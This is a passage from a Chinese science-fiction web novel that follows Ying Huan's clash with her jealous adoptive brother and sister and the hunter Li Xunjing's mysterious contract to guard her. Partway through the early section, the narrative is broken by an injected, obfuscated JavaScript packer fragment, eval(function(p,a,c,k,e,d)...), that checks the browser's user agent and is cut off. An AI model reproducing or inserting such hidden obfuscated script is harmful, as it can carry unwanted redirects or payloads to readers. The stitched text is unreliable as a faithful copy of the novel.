邬涟秀眉紧紧一拧,脸色被她的气得煞白。 他早该料到的,她就是个忘恩负义的白眼狼! 他现在恨不得把邬家那三个愚蠢的人类薅到她的面前,让他们好好听听这只小白眼狼的心里话! “独立的个体……说得可真好听啊,嬴欢,你以为你和那些流落在外的私生子有什么区别吗!” 他的眉眼里带着清晰的厌恶。 * 少女从小便被养在遥远的外宅,也许是考虑到孩子们年龄太小,所以邬明仪从来没有带她见过弟弟妹妹,只是偶尔会让邬泽抽空到别墅教她一些基本体术。 小时候的嬴欢精神值十分不稳定,进医院都是常有的事,差不多有一半的童年都在医院里度过。 邬明仪在她身上花费了数不清的金钱和时间,哪怕诞下一对龙凤胎后,对嬴欢的爱仍然丝毫未减。 也许母亲已经忘了,但邬涟却永远记得──在幼年的他和妹妹被走投无路的反叛者持刀绑架的时候,绑匪指明了要和邬家家主面谈,想捞一笔大的,却被她的秘书告知不方便安排见面。 因为邬明仪正在忙着陪伴养女在另一颗星球上做检查。 那一天,嬴欢的精神值即将跌破危险阈值,或将面临危机管理局的强制收容。 邬明仪只能透过玻璃看着少女万分痛苦的神色,将额头靠在玻璃上与她紧贴在一起,看她的口型在喊“妈妈”。 一边是被绑架的亲生孩子,一边是深渊边缘的养女,两方对邬明仪来说都难以割舍。 最后的最后,她还是选择了信任当地警方,信任星际危机管理局。 于是──两兄妹被警员解救的那一刻,他们并没有看到母亲的身影,只有秘书深感抱歉的神色。 也是从那一刻开始,一颗嫉恨的种子埋入孩童的内心,随着光阴的流逝一天天长大。 * 嬴欢不语,慢悠悠地抱着双臂,抬起腿,一脚踹翻了餐桌。 一阵叮叮咣咣的响声后,盘子、餐刀餐叉、桌布、酒杯、饭菜等等尽数落在了地面上,各种色彩混合在一起,像一场只发生在油画中的闹剧。 二人之间再无阻隔,嬴欢一步步向前走近。 少年神色没有一丝变化,反正迟早都是要掀桌子的,只是看谁先谁后罢了。 视线交锋,空气内的火药味一触即发。 忽然,卧室门打开了。 眼睛红红的女孩儿有些害怕地扶住门框,她在里面听了很久,“够了,你们别再吵了!都怪我……” 嬴欢随意扫了她一眼,“不,不关你的事。这是我和他之间的问题。” 就算再迟钝嬴欢也该意识到,这已经不仅仅是表面上他控诉她不关心家人那么简单 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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嬴欢越过他的肩膀,疑惑地看了一眼门口。 她这破宿舍什么时候有这么多观光客了? 就在她目光移动的间隙,少年猛然上前抓住她的衣领,那力气足矣直接让她腾空。 身体一下子被调换了位置,眼前一片天昏地转,嬴欢皱着眉,她感觉到自己的后脑被一只并不算温暖的手死死嵌住。 她说得一点儿都没错,他就是一只卑劣善妒的兽,但他的一切都是她亲手造就的。 想置身事外? 不,永远都别想—— 他的眼瞳中流淌着无形的火焰,她下意识想用手臂撑住他的胸口,将彼此隔开一段距离,但眼前的人却提前预判了她的动作,用与方才相同的方式困住她的行动。 少年俯首,发出一声充满恶意的冷笑:“真的会有人爱上这么自私的你吗?”他的声音近乎于暧昧模糊的耳语,说出的话却是带着浓烈的讽刺意味。 微微凌乱的发丝把他的脸庞衬得更加脆弱,嬴欢并不着急甩开他的手,而是认真地凝视他阳光下透亮的眼睛。 “你的眼睛很漂亮。”她冒出一句无由头的话。 “……” 她明显感到她发丝间的手指略微收紧了一下,而身后的门铃声也变得更加急促了。 少年压低嗓音恨恨地说:“你可以靠这些手段哄骗别人,但别想把这些垃圾话用在我身上,我嫌恶心。” 他又不是邬蘅那种天真的傻瓜,他才不稀罕她所谓的夸奖。 嬴欢闭了闭眼,颇感无奈地耸了耸肩。 天地良心,她这人从来不用外貌开玩笑,何况她一直都很擅长寻找别人身上的闪光点,没想到也能被他恶意揣测。 少女睫毛张合,“那你快点儿让开,我去骗骗别人。” 门外面那位怕是要把门铃给按坏了。 62. 羽翼 就在14个小时前,厉寻旌的私人账户莫名多了一笔不菲的钱款。 平常可没什么人会给他打钱,他查看了一下钱款来源,竟然是许久未曾联系过的邬氏集团董事长。 他盯着聊天界面那一句“感谢你救了我女儿”发了一会儿呆,终于想起了那天的事。 嬴欢是她女儿?这个新认知让他略微皱了下眉。邬家的孩子不是一直都随母姓?怎么突然会冒出个姓嬴的。 而且在他有限的记忆里,邬明仪对外公开的只有三个孩子才对。 不过── 厉寻旌又仔细想了想,似乎一切都是有迹可循的,开学那天在模拟幻境里,他确实听到邬蘅叫了她一声姐姐。 啧。有钱人的关系还真是复杂。男人并没有在这一点上继续发散,而是将钱款原路退了回去。 厉寻旌之前并不知道这两人之间的关系,救嬴欢这件事也纯属巧合,甚至都不在他原本的计划内。 当时他正在追缉一个S级反叛者,通缉编号S-009。 厉寻旌是奔着高额积分去的,那人是悬赏通告区著名的“钉子户”,平时行踪不定,极少暴露破绽。这几年更是从F级一点点爬上了S级,麻烦程度在反叛者里属实少见。 有人怀疑S-009很可能是某个反叛者组织的高层,身边的手下至少个个都得是A级以上的精英。 不少肃清者因为这种论调望而却步,对追缉此人的兴趣与信心日益消减,这导致白梦长廊不得不将S-009的悬赏积分几次翻倍,让S-009一跃成为了悬赏区靓丽的风景线。 对厉寻旌来说,这是块肥肉。他只要啃下这块肉,总积分就能超过历史榜首——那个神秘的001号。 虽然001被禁赛后失去了大部分获得积分的机会,但奈何她之前完成了太多S级任务,总积分一直稳居第一的宝座。 001对于所有肃清者来说都是一座难以逾越的大山,对厉寻旌尤是,他觊觎她的宝座已经很久了。 他们很像,同样拿下过积分赛的冠军奖杯,同样被称为“新人王”,同样受人瞩目。 只是厉寻旌来的时间不巧,他初登舞台也正是那位传奇跌落神坛的时候。有很长一段时间里,人们把他当成下一个001,希望他能复刻她的奇迹。 自然而然的,他成了那个人的“影子”,无论在何时都有人会将他们两人放在一起比较。 他想摆脱那个人的阴影。 而唯一办法就是—— 超越她。 * 当天晚上六点,有人报告在克里斯主校区附近发现了S-009的位置。 厉寻旌在坐标附近巡逻了几个回合,没有发现任何关于S-009的踪迹。 一无所获往往是追缉期间的常态,肃清者和反叛者之间就像猫和老鼠,没有哪只猫能轻易抓获鼠群中最狡猾的老鼠。 虽然没能抓到“老鼠”,但他却在巡逻途中偶然看见了一只正在坠楼的“大花豹”。 她的身体像一滩死水,在百米高空中急速下坠。遥遥望去,不知道的还以为谁家的衣服被风刮下来了。 他直觉感到不对劲,因为在同一时刻,她的正上方有一团黑雾逃窜了出去,速度快到令人咋舌。 来不及再思考,在众多充满恐慌的惊叫声中,厉寻旌紧急启用了机械装甲。 在不久前,他身上的机械元件已经陷入严重疲劳,而且被机械师三番两次警告不要再使用机甲超负荷工作。 但如果他真的能听进去机械师的话,那他就不是厉寻旌了。 他在距离地面八十多米的高度稳稳抓住了那具下坠的身体,利用高速推进器扶摇直上,抵消掉大部分冲击,在夜空中留下一道弧线。 男人一开始并不知道自己顺手救下了谁,直到把人递至护士的手里后,他才真正看清那张脸。 然后,他沉默了几秒,一言不发地走了。 * 清晨。 总是习惯了穿着机甲打打杀杀的男人今天难得换上了简约的黑衬衫,扣子随意解开了一颗,露出形状宽阔的锁骨。 他此刻正站在某人的宿舍门外,双臂交叠,手指有规律地敲打着臂侧。 刚才他按下门铃,却没人应答。但可以百分百确认的是,里面肯定有人在,因为他隔着大门都能听到其中的争吵声。 按照他的性子,本不该多管闲事。但里面的声响又实在有些说不上来的不对劲。 男人摸着臂侧犹豫了一下,正考虑要不要废掉门锁,就在他准备动手的短短几秒内,门突然像察觉到他的想法似的,打开了一道缝隙。 那道门缝还没半个兔子洞宽,他滑动目光,对上了一双森冷的视线。 大门是一条泾渭分明的分界线,将空间分割成内部与外部,门内的年轻男人像一只维护领地的雄性野狼,眼神里不断散发着驱逐的信号。 厉寻旌见过他,是邬蘅的哥哥,邬家的二少爷。 基本上只要熟悉邬家的人都很难认错,毕竟他和他的妹妹几乎是共用着一张脸,神态间也有邬明仪的几分影子。 两个男人彼此打量,邬涟显然对这个人没什么耐心,“砰”的一下把男人关在了外面。 厉寻旌:“……” 所以这个红毛为什么会出现在嬴欢的宿舍? 他唤起终端,仔细确认了雇主给他的地址无误。 就在他的手指再次放在门铃上时,门又开了。这次开门的对象是一个女孩儿,她看上去神色很不安,身后还隐隐传出一阵打砸声。 “怎么是你,有什么事吗?” 邬蘅一眼就认出了这个家伙,是当初在幻境勾引她姐姐的死狐狸精。 今天倒是好好穿上衣服了?邬蘅从小跟着母亲见过了各式各样的精明人,什么类型的都有。 至于眼前这个,打眼一看就知道是只假正经的骚狐狸。 “我找——嬴欢。”厉寻旌沉着声回答。 “呵,那你可找错地方了。”她移开目光,浅浅翻了个白眼。 这个时候来找她姐姐,肯定没安什么好心思。 邬蘅露出了和哥哥一样警惕的神色,欲要闭门送客,却被男人一手抵住门缝。 他手劲很大,不像正常人类拥有的力量。 但邬蘅也不是什么脾气好的主,别看她平常在姐姐面前乖得跟小猫咪似的,要是真论起来,耐心甚至比她那二哥还要低上一个档次。 她后退一步,提起剑就朝着那只手臂砍下去。 忽然,一只手拽住了她的右臂,邬蘅的大剑被硬生生拦了下来,举在半空,她一扭头,被灰发少女盯得有些毛骨悚然。 嬴欢一路拖着红毛来到门前,一只手捂住他时刻都 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他倒想看看她对待外人会用什么态度,如果她敢对那个男鸭子露出一点儿柔和的样子,他就上去让那男的好好见识一下邬家人的不择手段! 两张相似的脸庞默契地望向嬴欢的背影,目光几乎要穿透她单薄却挺立的脊背,将那具身体融化成炽热的钢水。 时间仿佛在这一刻凝固了。 后颈涌上一阵寒意,那双灰蒙蒙的眼底藏着冷漠,她极其轻微地哼笑一声。 又来了,恶心的感觉。黏糊糊的、阴稠的,像无数条小蛇爬上了她的后背,勒住她的前胸,啃食她的头颅。 她清楚地知道,自己一辈子都在逃离这种目光。过去是、现在是、未来也是。 门缝就像鸟笼拉开了一个小角,时时刻刻都在诱惑人去触碰它、破坏它。她的一只手轻轻搭在门把手上,就像摸到了笼门的边缘。 身后,是笼子的缔造者。他们饱含高傲地看着这只烈鸟,被邬家圈养了十八年之久的烈鸟。 有的饲养者为了控制鸟儿的飞行,会在鸟儿出生几个月后为其剪下几截飞羽,让它从此再也飞不高、飞不远,只能在狭小的空间里游荡。 就比如—— 嬴欢在童年时期便被植入了“自己的失序症会给所有人带来麻烦”这种想法,她被医生要求时时刻刻都要控制自我、保持清醒、压抑本性,不要给养母与社会增添烦恼。 年幼的她什么也不懂,只好乖乖地听从了医生的话,深居简出。她没有上过学,也没有去过商场、餐厅,唯一熟悉的场所只有家和医院。 除了母亲,她没有任何可以吐露心声的朋友,她的童年时代是苍白而是荒芜的。 她就是一只鸟。一只被剪去飞羽的鸟。 她是麻烦的鸟、不讨人喜欢的鸟、会抓伤人类的鸟。 可是── 妈妈你曾告诉过我,所有的鸟儿生来便属于天空。 上天赋予它轻捷的身姿、饱满的羽翼、坚固的骨骼,怎能凭依一己私心将它困入樊笼中呢? 妈妈。我要离开了,再一次、又一次地离开笼子。 因为,我的羽翼在经历漫长的阵痛后, 又重新长了出来。 63. 雇主 四指紧紧扣住门的边缘,透过半掌宽的门缝,她看见一块深黑色的衣角。 突然间,一只机械手从外面攥住她的手腕,下一秒,嬴欢整个人被一股猛力骤地拽了出去。 砰! 大门被狠狠关上,更精准一点儿其实是“甩”上,发出了一阵炸耳的响声。 耳膜几乎要被那声音刺穿,她的耳畔传来一句不真切的低讽,“呵,有什么好留恋的。” 似乎怕她的脑海残有一丁点儿犹豫似的,还没等彻底反应过来,身体已经腾空了几十米。 “……!” 已经对高空充满阴影的嬴欢立马抓住周围一切能抓的东西,生怕人生再经历第二回空中落体的感觉。 “你是在宿舍里养了两个杀人犯么?”机甲下的声线富有磁性。 这一次的见面简直是刷新了他对那兄妹两人的认知下限,没想到邬明仪那么一位井井有条的商界精英,竟然会生出两只充满野性的怪物来。 他怀疑自己的动作但凡再慢一步,那两个人就要把她拖回去吃抹干净了。 他一手揽着嬴欢的腰,启动速度增强模式,沿着斜角方向冲入彼方的云端。 嬴欢盯着机甲的侧颜,大抵是健忘症犯了,她脑海里竟然没剩下一丁点儿印象。 嘶,这人叫什么名字来着? 她完全没察觉的是,自己原本就未曾知道过他的名字,之前也只是一直“铁皮人”、“铁皮人”地叫。 “前些天把我送到白鸟院的人是你吧?” “……”他没回应,大概是懒得说话。 不断有冷风涌入衣领,嬴欢把自己埋在机甲的怀里,虽然也没能改善什么就是了。 很快,少女的脸被吹得扭曲成一团,她半含着愠怒道:“怎么你就能在克里斯随便飞来飞去啊!?” 而且还用这么快的速度! 她突然回想起自己当初坠楼时,立马就被附近的巡逻电子眼盯上了,几只“眼睛”恨不得用激光束把她烧个透彻。 难不成那群小玩意还知道看人下菜碟吗! “你想说那些‘小飞虫’?它们追不上。”机甲内部的男声并没有什么耐心,回答得也很简短。 嬴欢听完他的话,忍不住探出头向后方望去。 果不其然,几只无人机正在加足马力紧追慢赶,距离却越拉越远,直到彻底凝缩成为小小的黑点。 “别乱动。”他压低声音低斥道。 本来使用机械装甲就不方便控制力度,他却还得把人完好无整地送到“雇主”面前。 就像她这种爱作死的女人,他可不想再救第二次。 * 今天凌晨四点十分,厉寻旌的账号私信里收到了一个私人商单,发送者采用了匿名形式。 这类匿名性质的任务并不受白梦长廊的监管保障,经常会出现“跑单”、“白剽”之类的情况,因此他极少把目光放在上面。 不过这一次,这位雇主的报价和要求令他很感兴趣。 【鲸】:用十万积分去保护一个人,你确定吗? 【匿名用户】:嗯,时长五天,十万积分我会分三次付清。 【鲸】:恕我直言,这些积分足够抓十个S级的反叛者了。 【匿名用户】:能用十万积分购买你五天的时间,对我来说是笔相当划算的交易。 【鲸】:把保护对象的基本信息发给我。 当厉寻旌打开那份pdf格式的文件时,入目的图片令他眉眼一滞。 嬴欢? 他翻阅着里面数十张各种角度的抓拍照片,有的甚至带着不同用户的水印,像是直接从校园论坛里保存下来的。 让厉寻旌觉得不对劲的是,就在十个小时前,他刚刚原路退回了邬明仪的钱款。因为他无意掺合进邬家的事宜,也不想和那个姓嬴的女人再有任何交集。 可是现在,他收到的这个神秘商单,竟然也和嬴欢有关。 嬴欢。嬴欢。为什么总是和嬴欢脱不了干系? 十万积分和厌恶的人──两种截然相反的情感在厉寻旌心中的天平上打得难舍难分。 不过最终的结果很明显,积分在他这儿更胜一筹。 如果不是贪图那些积分,他恐怕这辈子都不会再想见到这个女人。 * 飞行高度降低,地面渐渐逼近。 虽然有路痴属性在,但嬴欢还是认出了他即将降落的那座建筑──学生会。 身上的机甲尽数褪去,厉寻旌打开随身终端,看了眼自己的新私信。 【匿名用户】:一楼左侧,二号会议室。 嬴欢的腿还在发软,衣袖突然被男人扯住,她的眼前多了一块虚拟屏幕。 “有人在等你。”他把私信的内容展示给她看。当然,仅限这条。 嬴欢从简短的私信里抬起眼眸,无语地咬着腮帮子,“……” 合着上一个剧情点刚过完,下一个又立马接上了是吧? 她都怀疑自己是不是时时刻刻都活在一个看不见的剧本之中,像某某小说里苦命的废柴主角一样,到处踩地图接剧情。 强行忍住望天长叹的冲动,嬴欢迅速调整了一下快要崩溃的心情。她很想问他一些东西,可转念一想,只要去了那地方不就什么都知道了吗? 于是,她转身向建筑物走去。 少女行动得很快,就在厉寻旌垂眸犹豫这笔交易的可信度的时候,又一条私信从眼皮子底下跳了出来。 【匿名用户】:第一笔积分已经到达你的账户,这只是开始,希望我们合作愉快。 厉寻旌扫过积分排行榜,上面的总数确实增加了三万。 他凝视着匿名用户的默认灰白头像,慢慢把目光移至远方少女的身上,嘴角微微上升,眼底却透出几分漠然。 他收起聊天页面,抬腿跟了上去。 * 二号会议室…… 虽然不是第一次来到这里,但她对这座建筑的诡异印象实在挥散不去,需要时刻保持警惕性。 刚走进大厅,她又看到了那位打扫人员。上一次嬴欢来时,她正手持一个吸尘器打扫角落,而且贴心地和嬴欢打了招呼。 嬴欢这一次选择主动上前搭话。 “你好?” 她没什么 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指尖顺着楼梯的橡木扶手轻轻滑过,眼里带着明媚而荡漾的笑意,边走边道:“自我介绍一下,我是伊尔文·贝丝,是雪莱会长的新助理。” 他的音色很柔软,没有任何不和谐的杂质。 在男子声音响起的那一刻,女人手持吸尘器停在了原地,短短两秒钟后,她如梦初醒般地惊呼一声:“哎呀!真是不好意思!” 她连忙关闭吸尘器的旋钮,将嬴欢的鞋带解救出来。 嬴欢视线下移,愣愣看着帮忙整理自己裤脚的女人,而这时,男子也已经走下了楼梯。 比蜂蜜还要甜腻的香水味侵入嬴欢的鼻腔。 少女对气味一向尤为敏.感,她猜是因为自己有一半虫族血脉的缘故。 虫子们的触角对信息素等气味分子有着超然的感知力,这种能力在嬴欢身上转化为了卓越的嗅觉。 嬴欢扶住女人的手臂,示意她没关系,即使隔着两层布料,也能感到她的皮肤冷得吓人。 伊尔文十分娴熟地对女人指示道:“最近楼上的几扇窗户总会有许多落叶飘进来,你多巡查一下,尤其是会长室和校长室,一定要注意保持走廊地面的整洁。” 就在嬴欢还想开口对她说些什么时,只见女人对着伊尔文连连鞠躬,嘴里慌张地说着“好的”、“好的”。 然后拖着吸尘器一路朝着楼上小跑而去,根本没给嬴欢留下任何搭话的机会。 后方的尖顶窗洒下一片五光十色的辉芒,影子落在地上,堪堪抵至少女的鞋尖。 她眸光极淡,望着脚下的光影,给人一种待人十分冷漠的感觉。 实际上,嬴欢只是在思考自己是否曾遇见过这种香水味。 雪莱……新助理? 对了!那天自己与梅瑟在图书馆碰面,就在她下楼时,恰好与一个男人擦肩而过。 简直是一模一样的香水味! 嬴欢的鼻子比眼睛更先认出了他。 64. 委托 擦得锃亮的瓷砖倒映着两人的身形,无形的风越过他们中间的缝隙。 类似于花蜜的香味萦绕在空气中,闻久了竟然还有些醒神。 嬴欢并没有急着找那个二号会议室,反正也不差这一时半会儿。甭管背后的人究竟是什么目的,既然想见她,那就得老老实实排队等着。 于是乎,便与这位自称会长助理的男人闲聊了起来,她问他:“之前怎么没听说过小会长有什么助理?” 她微微探头,与他的鼻尖贴近,“你──是他的第一个助理吗?” 那双本该冰冷的灰色瞳孔此刻却灼烫得吓人。 伊尔文不自觉地退后了半步,随后又怕她意识到什么似的,板着脸故作镇静。 贴得好近,这女人到底想做什么……她到底知不知道这里是公共场所,随时都可能窜进来几只学生。 伊尔文对这个灰扑扑的少女一直没什么好印象,而经历了这短短几句话的接触后,甚至可以算得上生理性反感了。 但他也很聪明,知道要装装样子,于是面上仍然维持正常的神色,但却刻意地保持了一段安全的距离。 “因为一些……众所周知的原因,最近会长着手处理的事务翻了几倍,繁忙了不少,所以特聘我来协助处理会长的日常工作和安排。” 他的话里明显意有所指。 这几天秘书处和纪检部的干事们属实是遭了殃,不仅忙着校园戒严而且还要督促新生们参与精神值检查。 毕竟是从校董会下来的命令,没人敢说一句不是,什么叫苦叫累、小委屈之类的全都得打碎牙往肚子里咽。 霍尔事件已经过去了整整四天,带来的余波仍未平息,论坛里有关霍尔与嬴欢之间的讨论热度居高不下。 有了炸毁幻境的前车之鉴,人们对这个叫嬴欢的小姑娘覆上一层有色滤镜。 更不用提之后的袭击白鸟院护士、在射击场持械斗殴、被黑川院长亲自抓入禁闭室等一系列的负面曝光,校园内外对她的骂声早已泱泱一片。 如果这次反叛者入侵的目标换一个人,大家的反应都可能不会如此之强烈,但偏偏霍尔是奔着她去的。 穷凶极恶的反叛者盯上了这么一个黑料缠身的女人,要说里面没点儿内情,谁信啊? 对嬴欢的先入为主导致人们很难不去把事故责任与她互相联系起来,哪怕她也是最主要的受害者之一,可谁会在意呢?难道她又是什么好货吗? 她错就错在——她是个不完美的受害者。 在克里斯的这些日子里,这种阴阳怪气的语调她都听腻了,什么扫把星、倒霉鬼、晦气包、活阎王等等乱七八糟的称号快要堆成小山了,挑都挑不过来。 她知道学生会承担了不少学校运作的责任和重担,而其中某些干事也许会听信论坛里的三言两语,把怨念转移到她的身上,这都很正常,很符合人性。 反正他们又没办法报复霍尔,只好挑一个大家都爱捏的烂柿子撒撒气。 她抬头向上看,视线瞟过中央的水晶灯饰,忽然问他一嘴:“梅瑟在吗?我去他那儿喝杯咖啡。” 她的气场落在身上并不轻松,伊尔文将自己的情绪藏得很好,用尽量正常的声音答道:“会长今天有几场重要会议,目前并不在办公室。” 不在?她挑眉,弓起食指摩挲下巴。 难不成…… 是在二号会议室? 应该不会这么巧吧,她暗自否定了这个想法。 “哦……那,他什么时候开完会?” 嬴欢装成一副对会长大人很“感兴趣”的样子,让自己看上去像一块难缠的狗皮膏药。 “……”伊尔文的眉眼顿时没了什么耐心。他想,这女人果然和那些传闻里说得没什么两样。 “很抱歉,无可奉告。”他连车轱辘话都懒得说了。 行吧,这小助理嘴巴还算严实,确实有了点儿他们会长的风范。 只不过,男人眼底的占有欲几乎暴露无遗,就差把“别打会长的心思”那几个大字刻在脑门上了。 小会长的皮囊果然可以吸引到各种各样的人呢。 * 人们可能会对各种各样的东西产生占有欲,可以是人,可以是物品,甚至可以是风火雷电。 自从人诞生了自我意识的那一刻开始,占有欲就如同本能一样,渗透一个人的方方面面。 这种本能是人心深处的渴望,嬴欢曾无数次见识过它的非理性状态,撕裂的、狰狞的、面目可憎的…… 胸口隐隐发闷,嬴欢“啧”了一声,用掌根敲了敲太阳穴。 她逼使自己压住那股强劲的念头,生怕再想起什么乱七八糟的东西。 “可怕的……”人类。 少女宛若呓语般地发出几个音节,直接忽略掉了伊尔文,转身朝着左侧走去。 也不知道是哪根神经搭错了,伊尔文突然就很想听完她后面吞掉的话,她想……说什么? 指尖微颤,他欲要抬手,但──最后还是内心的自我克制占据了上风。 这短暂在脑海中掠过的想法让伊尔文不由得一慌,几节指骨微微收紧。 真是疯了,他竟然想要拦住她。 心感震惊之时,大厅侧门走进一个肩宽胯窄的男人。他与伊尔文之间视线毫无交集,在锁定少女的身影后,迈着步子自然而然地跟了上去。 那正是前往第二会议室的方向。 * 经过第一会议室,条纹状的雾面玻璃完全隔绝内外的联系,只见模糊的人影在里面闪动。 只可惜那里不是嬴欢的目的地。 行至走廊深处,一路上都没遇见什么人,不知道是不是这座建筑太古老的原因,一阵又一阵穿堂风吹得人寒毛直立。 嬴欢耳朵很尖,听见了后方的脚步声,也知道那是来自于谁,她没有去理会,而是继续走自己的。 一楼共有四间小型会议室,一、二号在走廊左侧,三、四号在走廊右侧。只要认真观察门头上的标识牌,倒也不怎么难找。 很快,她停在走廊尽头的玻璃门前,里面似乎有谈话声。 “全校戒严是校董会亲自下达的命令,应该不会这么轻易结束吧?” “或许可以加快一下审批流程?” “实在抱歉,出行令需要提前向校长申请,只有校长亲自审批通过后才能出入校园,我也无能为力。” “……” 声流有些嘈杂,看来不止一人,嬴欢心思微微一动,直接推门而入 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分院那天,柯融恰好路过帮嬴欢挡了一下秦家的小霸王,她至今记得还那瓷实有力的怀抱,令人十分安心。 嬴欢曾经在论坛里潜水了几天,偶然得知这位二年级学姐是在全额奖学金名单占据一席之地的特招生学霸,也是论坛里讨论度极高的人物之一。 “讨论度高”在克里斯不见得是什么好事,在虚拟的网络世界里,越是极端、夸张、吸人眼球的帖子,越能够引起风浪。 就眼下会议室里的这三位学生,已经可以占据校园网百分之八十的即时热度,随手点开一个帖子都可能在骂他们其中某个人。 她怎么也没想到自己与柯融会在这种情况下相见,更想不到他们三个“论坛大魔王”凑在一起会冒出什么惊天动地的大事。 女人发出一声轻笑,弯了弯眼睛,很明显对她能记住自己的名字而感到惊异,带着狼牙手链的腕关节很随性搭在座椅靠背上。 “啊……实在没想到,你竟然还记得我。”柯融的声线醇厚悦耳,听起来就像大提琴独奏。 三个人整整齐齐地注视着少女。 “……”嬴欢一只脚踩在门内,另一只脚准备随时跑路,保持着一个半退不退的姿势。 她向后撤回一个身位,目光在走廊里四处寻找厉寻旌的身影。 人呢?这人哪儿去了? 常年在刀尖上行走的肃清者们一向谨小慎微,无论是嬴欢还是厉寻旌皆是如此。 但那个叫厉寻旌的男人显然在这件事上更加慎重,哪怕都已经跟过来了,也没有暴露自己的意图。 “进来吧,你没走错地方。” 梅瑟的声音虽然融化了一些,但也不好在外人面前表达得更直白,他总觉得再不说些什么,她就要原地溜走了。 算了,硬着头皮上吧。嬴欢把那忽然消失的男人抛之脑后,拉开椅子,在柯融身边坐了下来。 柯融捞起茶壶,给她面前的玻璃杯盛满茶水,几瓣棕绿色的茶叶在开水中起起伏伏,瞧上去竟然有几分惨淡。 似乎除了表面一身轻松的柯融之外,其他人各有各的心事。